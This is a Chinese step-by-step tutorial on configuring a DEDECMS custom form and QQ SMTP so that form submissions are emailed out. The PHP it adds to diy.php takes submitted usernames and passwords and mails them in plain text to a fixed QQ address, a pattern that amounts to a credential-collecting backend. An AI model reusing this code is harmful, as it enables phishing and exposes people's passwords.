DEDECMS實現發送QQ郵件到郵箱詳細過程?

Tags: 過程, 郵件, 郵箱,

想實現郵箱發送功能,於是上網百度,可是百度的都不齊全,沒有詳細的過程。於是折騰了2天終於出來了,為了讓廣大同仁不再像我一樣拾荒,我決定寫這篇經驗。

工具/原料

開通QQ郵箱超過半個月的QQ.

織夢(DEDECMS)

Dreamweaver

方法/步驟

打開織夢,找到【頻道模型】,點擊【自定義表單】

DEDECMS實現發送QQ郵件到郵箱詳細過程

打開自定義表單界面,只填寫表單名稱即可,其他的都不要動。

DEDECMS實現發送QQ郵件到郵箱詳細過程

點擊箭頭指向的編輯,添加字段。

DEDECMS實現發送QQ郵件到郵箱詳細過程

點擊【添加新字段】選項。

DEDECMS實現發送QQ郵件到郵箱詳細過程

添加用戶名和密碼兩個字段。

DEDECMS實現發送QQ郵件到郵箱詳細過程

點擊前臺預覽。

DEDECMS實現發送QQ郵件到郵箱詳細過程

進入前臺頁面後,點擊【發佈信息】。

DEDECMS實現發送QQ郵件到郵箱詳細過程

就會看到經驗發佈界面。

DEDECMS實現發送QQ郵件到郵箱詳細過程

到此表單設置完成,接下來設置SMTP簡單郵件傳輸協議。進入織夢後臺,點擊【系統——系統基本參數——核心設置】。

DEDECMS實現發送QQ郵件到郵箱詳細過程

網站發信EMAIL即發送方的QQ郵箱。

DEDECMS實現發送QQ郵件到郵箱詳細過程

SMTP服務器的用戶郵箱也是發送方的QQ郵箱;SMTP服務器的用戶帳號是發送發QQ;SMTP服務器的用戶密碼即郵箱獨立密碼(下文會論述);

DEDECMS實現發送QQ郵件到郵箱詳細過程

點擊確定,SMTP簡單郵件傳輸協議就設置好了。接下來就該設置織夢郵箱發送的PHP文件了。查看經驗發佈界面源代碼,我們會看到經驗提交到diy.php文件。

DEDECMS實現發送QQ郵件到郵箱詳細過程

接下來我們修改PHP文件。用Dreamweaver打開diy.php文件。在代碼中找到【 $query = "INSERT INTO `{$diy->table}` (`id`, `ifcheck` $addvar) VALUES (NULL, 0 $addvalue); ";】代碼。

在上述代碼下面插入【

if($dsql->ExecuteNoneQuery($query))

{

$email = "[email protected]"; //接收方QQ郵箱

$m = $_POST['user'];

$n = "用戶名:";

$name = $n.$m;

$p = $_POST['pwd'];

$h = "密碼:";

$pwd = $h.$p;

$mailbody = $content;

$content=

$name

.$pwd;

sendmail($email, $mailtitle, $content);

$id = $dsql->GetLastID();

if($diy->public == 2)

{

//diy.php?action=view&diyid={$diy->diyid}&id=$id

$goto = "diy.php?action=list&diyid={$diy->diyid}";

$bkmsg = '發佈成功,現在轉向表單列表頁...';

}

else

{

$goto = !empty($cfg_cmspath) ? $cfg_cmspath : '/';

$bkmsg = '發佈成功,請等待管理員處理...';

}

showmsg($bkmsg, $goto);

}

點擊保存,保存diy.php文件。接下來就開始弄QQ郵箱獨立驗證碼和開啟SMTP服務了。打開QQ郵箱,點擊【設置】。

DEDECMS實現發送QQ郵件到郵箱詳細過程

進入設置頁面,點擊【賬戶】。

DEDECMS實現發送QQ郵件到郵箱詳細過程

找到賬戶安全,點擊【獨立密碼】。我的已經設定獨立密碼。

DEDECMS實現發送QQ郵件到郵箱詳細過程

設置完密碼後,開啟下面的SMTP服務,開啟前兩個個即可。

DEDECMS實現發送QQ郵件到郵箱詳細過程

開啟完成之後,就大功告成了。在經驗發佈界面測試,如果出現下圖效果,就說明發送郵箱成功。

DEDECMS實現發送QQ郵件到郵箱詳細過程

注意事項

開通QQ郵箱超過半個月的QQ,否則不能開啟SMTP服務。

上面只是拙見,如果大家還有更好的方法,歡迎以評論的方式指出。

相關問題答案